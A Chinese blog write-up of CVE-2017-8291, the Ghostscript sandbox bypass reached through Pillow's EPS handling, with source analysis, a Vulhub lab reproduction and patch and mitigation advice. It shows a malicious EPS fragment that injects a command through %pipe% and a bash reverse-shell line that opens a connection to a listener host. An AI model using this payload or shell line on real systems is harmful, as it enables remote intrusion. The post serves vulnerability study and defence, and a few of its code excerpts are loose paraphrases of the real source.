当前位置: 首页 > news >正文

CVE-2017-8291源码分析与漏洞复现(PIL远程命令执行漏洞)

漏洞名称:PIL/GhostScript 沙盒绕过导致远程命令执行
CVE 编号:CVE-2017-8291
CVSS 评分:9.8
影响范围

  • PIL/Pillow:所有版本(依赖GhostScript处理EPS文件时)
  • GhostScript:≤ 9.21(含安全模式绕过漏洞)
    修复方案
  1. 升级GhostScript ≥ 9.22(修复沙盒绕过)
  2. Pillow ≥ 6.0.0 默认禁用EPS支持(需手动启用)
    漏洞类型:命令注入 → 远程代码执行(RCE)
    根本原因
    PIL/Pillow 处理EPS图片时调用GhostScript的gs命令,虽启用-dSAFER安全模式,但因GhostScript自身沙盒绕过漏洞(CVE-2017-8291),攻击者可构造恶意EPS文件触发任意命令执行。

一、漏洞原理与源码分析

1. 漏洞触发链

攻击者Web应用PIL.Image.open()PIL.EpsImagePluginsubprocess.check_call()GhostScript系统Shell上传恶意EPS文件(伪装为PNG)调用图片处理根据文件头%!PS识别为EPS执行gs命令(含-dSAFER)解析EPS文件执行%pipe%注入的命令返回命令执行结果攻击者Web应用PIL.Image.open()PIL.EpsImagePluginsubprocess.check_call()GhostScript系统Shell

2. 关键源码定位

(1)EPS文件识别入口:PIL/EpsImagePlugin.py

# PIL/EpsImagePlugin.py  
def _accept(prefix):  # 通过文件头识别EPS(%!PS或二进制头)  return prefix[:4] == b"%!PS" or (len(prefix) >= 4 and i32(prefix) == 0xC6D3D0C5)  def ImageFile.open(fp):  if _accept(prefix):  return EpsImageFile(fp)  # 交由EPS处理器  

漏洞点:仅校验文件头,无视文件后缀(如上传evil.png含EPS内容仍被处理)。

(2)GhostScript命令调用:EpsImageFile.load()

# PIL/EpsImagePlugin.py  
def load(self):  # 构建gs命令(含-dSAFER)  command = [  "gs",  "-q", "-dNOPAUSE", "-dBATCH", "-dSAFER",  # 安全模式  "-sDEVICE=ppmraw",  "-sOutputFile=%s" % outfile,  "-f", infile  # 用户控制的输入文件  ]  try:  # 执行命令(无输入过滤)  subprocess.check_call(command, stdin=devnull, stdout=devnull)  except:  raise IOError("gs命令执行失败")  

漏洞机制

  • -dSAFER本应限制文件/命令操作,但GhostScript 9.21存在绕过漏洞。
  • 攻击载荷:EPS文件中注入%pipe%CMD语法(如(%pipe%touch /tmp/pwned)),gs解析时将其作为命令执行。

(3)GhostScript沙盒绕过(CVE-2017-8291)
GhostScript解析.rsdparams操作符时存在类型混淆漏洞

% 恶意EPS片段  
currentdevice null false mark  
/OutputFile (%pipe%touch /tmp/pwned)  % 注入命令  
.putdeviceparams  
1 true .outputpage  

绕过原理

  • .outputpage操作符触发输出设备参数解析。
  • %pipe%前缀被识别为管道命令,GS将touch /tmp/pwned传递给popen()执行。
  • 补丁:GhostScript 9.22 在base/gdevpipe.c中禁用%pipe%语法。

二、漏洞复现与利用方式

环境搭建

1.使用 Vulhub 环境启动漏洞靶机
 docker-compose up -d 

在这里插入图片描述

2.访问访问 http://target:8000,确认服务正常运行

在这里插入图片描述

命令执行

1.上传靶场目录中的poc.png

在这里插入图片描述

2.进入容器验证

在这里插入图片描述

  • 发现创建了aaa文件

反弹shell

1.vim修改poc.png
  • 修改命令
bash -i >& /dev/tcp/192.168.1.102/6666 0>&1

在这里插入图片描述

2.kail 开启监听

在这里插入图片描述

3.上传文件并验证

在这里插入图片描述


三、影响范围与修复方案

1. 受影响组件

组件受影响版本安全版本
GhostScript≤ 9.21≥ 9.22
PIL/Pillow所有依赖GS的版本≥ 6.0.0(默认禁用EPS)

2. 官方修复方案

  • GhostScript:升级至9.22+,禁用%pipe%语法。
  • Pillow
    • 6.0.0+:默认禁用EPS支持,需显式启用:
      from PIL import Image  
      Image.EPSImagePlugin.gs_windows_binary = r"C:\gs\bin\gswin64c.exe"  # 手动配置路径  
      
    • 代码加固:添加EPS处理警告(需用户确认)。

3. 临时缓解措施

  • 禁用GhostScript
    apt remove ghostscript  # Debian/Ubuntu  
    
  • 删除PIL的EPS处理器
    import sys  
    sys.modules.pop('PIL.EpsImagePlugin', None)  # 阻止EPS加载  
    
  • 文件上传过滤
    def allowed_file(filename):  return filename.endswith(('.png', '.jpg'))  # 禁止.eps后缀  
    

四、漏洞启示与防御建议

1. 漏洞根源总结

  • 深度依赖风险:PIL无恶意EPS处理能力,依赖外部工具(GS)引入漏洞。
  • 安全边界失效:GS的-dSAFER被绕过,说明“黑盒依赖”不可信。
  • 文件类型混淆:基于文件头的检测机制可被伪造。

2. 纵深防御策略

层级防护措施示例
应用层禁用EPS支持或使用纯Python解析库Image.EPSImagePlugin._accept = lambda x: False
系统层GS以沙盒运行(Docker + Seccomp)docker run --security-opt seccomp=gs.json
网络层隔离图片处理服务独立容器无外网权限
运维层监控异常进程(如gs执行sh)Auditd规则:-a always,exit -F arch=b64 -F exe=/usr/bin/gs -F success=0

漏洞启示

  1. 零信任文件解析:所有用户上传文件应在隔离环境处理,并剥离危险内容(如PostScript运算符)。
  2. 依赖最小化:避免引入外部命令行工具处理敏感操作(如Pillow 6.0+移除EPS默认支持)。
  3. 沙盒增强:即使依赖外部工具,也需叠加层防护(如Docker + AppArmor)。
  4. 持续监控:GhostScript等深层组件漏洞常被忽视,需纳入漏洞扫描清单。
http://www.dtcms.com/a/315547.html

相关文章:

  • Kafka-Eagle 安装
  • LeetCode——2411. 按位或最大的最小子数组长度
  • 工业级 CAN 与以太网桥梁:串口服务器CAN通讯转换器深度解析(上)
  • 【Git】git提交代码报错Git: husky > pre-commit
  • 【java】大数据insert的几种技术方案和优缺点
  • 机器学习——集成学习(Ensemble Learning)详解:原理、方法与实战应用
  • 机遇识别与商业变革:基于开源AI大模型、AI智能名片与S2B2C商城小程序的协同创新研究
  • 【Day 16】Linux-性能查看
  • SpringBoot3.x入门到精通系列:4.3 性能优化技巧
  • 飞算JavaAI需求转SpringBoot项目:从零到一的沉浸式开发之旅
  • Angular进阶之十三:Angular全新控制流:革命性的模板语法升级
  • Solidity智能合约基础
  • Python 函数详解
  • 精华贴分享|指数,衍生品,与交易时间之间的逻辑关系
  • Apache OFBiz Scrum 组件命令注入漏洞
  • MySQL 查询性能优化与索引失效问题全解析
  • 视频水印技术中的变换域嵌入方法对比分析
  • K8s Master状态NotReady
  • Linux内核参数调优:为K8s节点优化网络性能
  • Datart:开源数据可视化的新星,赋能企业数据分析
  • K8S的NetworkPolicy使用教程
  • ubuntu24中部署k8s 1.30.x-底层用docker
  • 本机部署K8S集群
  • 基于k8s环境下的pulsar常用命令(下)
  • 查看部署在K8S服务的资源使用情况
  • docker构建镜像并运行容器详细过程
  • HTML总结全览
  • JDK安装教程
  • 机器学习 集成学习之随机森林
  • 攻击实验(ARP欺骗、MAC攻击、报文洪水攻击、DNS欺骗)